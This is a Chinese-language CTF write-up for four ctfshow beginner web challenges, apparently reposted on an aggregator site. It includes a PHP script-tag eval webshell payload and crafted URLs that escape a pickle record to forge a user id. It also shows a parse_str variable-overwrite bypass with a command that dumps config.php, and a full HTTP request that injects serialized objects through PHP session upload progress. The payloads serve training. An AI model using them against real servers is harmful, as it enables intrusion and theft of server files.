IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> ctfshow 新手杯web -> 正文阅读

[Python知识库]ctfshow 新手杯web

easy_eval

拿到题目:

<?php



error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

if(isset($code)){

  $code = str_replace("?","",$code);
  eval("?>".$code);

//大概意思就是输出code(但?被过滤)

起初我一直想办法进行绕过?,但是最后都无法成功
可能是我太死板了
竟然忘记了

<script language="php">@eval($_POST[1])</script>

利用它getshell
不过只有php5可以用

baby_pickle

拿到题目,下载源码
得到题目

# Author:
#   Achilles
# Time:
#   2022-9-20
# For:
#   ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request

app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"

class Rookie():
    def __init__(self, name, id):
        self.name = name
        self.id = id


@app.route("/")
def agent_show():
    global id
    id = id + 1

    if request.args.get("name"):
        name = request.args.get("name")
    else:
        name = "new_rookie"

    new_rookie = Rookie(name, id)
    try:
        file = open(str(name) + "_info", 'wb')
        info = pickle.dumps(new_rookie, protocol=0)
        info = pickletools.optimize(info)
        file.write(info)
        file.close()
    except Exception as e:
        return "error"

    with open(str(name)+"_info", "rb") as file:
        user = pickle.load(file)

    message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
    return message


@app.route("/dacaiji")
def get_flag():
    name = request.args.get("name")
    with open(str(name)+"_info", "rb") as f:
        user = pickle.load(f)

    if user.id != 0:
        message = "<h1>你不是大菜鸡</h1>"
        return message
    else:
        message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
        return message


@app.route("/change")
def change_name():
    name = base64.b64decode(request.args.get("name"))
    newname = base64.b64decode(request.args.get("newname"))

    file = open(name.decode() + "_info", "rb")
    info = file.read()
    print("old_info ====================")
    print(info)
    print("name ====================")
    print(name)
    print("newname ====================")
    print(newname)
    info = info.replace(name, newname)
    print(info)
    file.close()
    with open(name.decode()+ "_info", "wb") as f:
        f.write(info)
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

起初拿到题目后我一直在想如何控制id,让他可以为0
实验了好几次都没成功
看到wp后,笑了
题目来源于PHP反序列化字符串逃逸
看看id为0和10的序列化字节有什么不同

发现只有id的值不一样
于是便可以利用change路由改内容把cyxin改成cyxin\nsVid\nI0\nsb.
最后那个.起句号作用,相当于PHP反序列化逃逸的}
payload

http://330ffa74-de0e-4ad1-a02f-f0d37442f38f.challenge.ctf.show/?name=cyxin11
http://330ffa74-de0e-4ad1-a02f-f0d37442f38f.challenge.ctf.show/change?name=Y3l4aW4xMQ==&newname=Y3l4aW4xMQpzVmlkCkkwCnNiLg==
http://330ffa74-de0e-4ad1-a02f-f0d37442f38f.challenge.ctf.show/dacaiji?name=cyxin11

repairman

拿到题目

可以修改mode,将其改为0得到题目
可以的到源码

Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}

if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}

function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}

if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
        }

    switch ($secret){
        case md5('admin'.$config['secret']):
            echo 999;
            cmd($_POST['cmd']);
        case md5('test'.$config['secret']):
            echo 666;
            $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
            cmd($cmd);
        default:
            echo "hello,the repairman!";
            highlight_file(__FILE__);
        }
    }elseif($mode == '1'){
        echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
    }else{
        header('refresh:5;url=index.php?mode=1');
        exit;
    }

非预期:
拿到题目后发现要将cookie中的值改为
md5(‘admin’.$config[‘secret’]):
由于题目上给了
$config[‘secret’] = Array();
尝试测试

发现没有config[‘secret’]没有被覆盖
所以md5(‘admin’.$config[‘secret’]):是个固定值da53eb34c1bc6ce7bbfcedf200148106
于是直接令secret=adminArray传入
之后post传入cmd进行反弹shell即可getshell
预期解:
预期解就是parse_str变量覆盖了
config[secret]=cyxin

cookie: secret=34050d14141946471cb835ce843812d1

cmd=cat config.php >a.txt

剪刀石头布

拿到题目后随便输入用户名
之后看源码
在这里插入图片描述

大致分为三部分
一个是初始界面
一个是游戏界面
一个是游戏日志界面
重点看的是第三个

大致思路就是传入反序列化链子作为session文件保存
链子的内容是将log的内容写成flag文件的位置
当进行反序列化时触发destrct从而输出flag

phpinfo中可以看到本页面的序列化处理器和默认不同,而且关闭了session自动清理,所以不需要竞争,就可以通过PHP_SESSION_UPLOAD_PROGRESS变量写入反序列化数据,通过竖线风格后实现反序列化

POST / HTTP/1.1
Host: 949c06f7-568a-4d85-a5d5-35834af7858c.challenge.ctf.show
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk1VAAFp6kbEkMneJ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=aaaaaa
Connection: close

------WebKitFormBoundaryk1VAAFp6kbEkMneJ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundaryk1VAAFp6kbEkMneJ
Content-Disposition: form-data; name="file"; filename="|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}"
Content-Type: application/octet-stream


------WebKitFormBoundaryk1VAAFp6kbEkMneJ--

在传入的参数最开始加一个’|‘,由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|‘后的值进行反序列化处理。
为什么在解析session文件时直接对’|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-10-17 12:28:59  更:2022-10-17 12:29:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 2:40:25-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计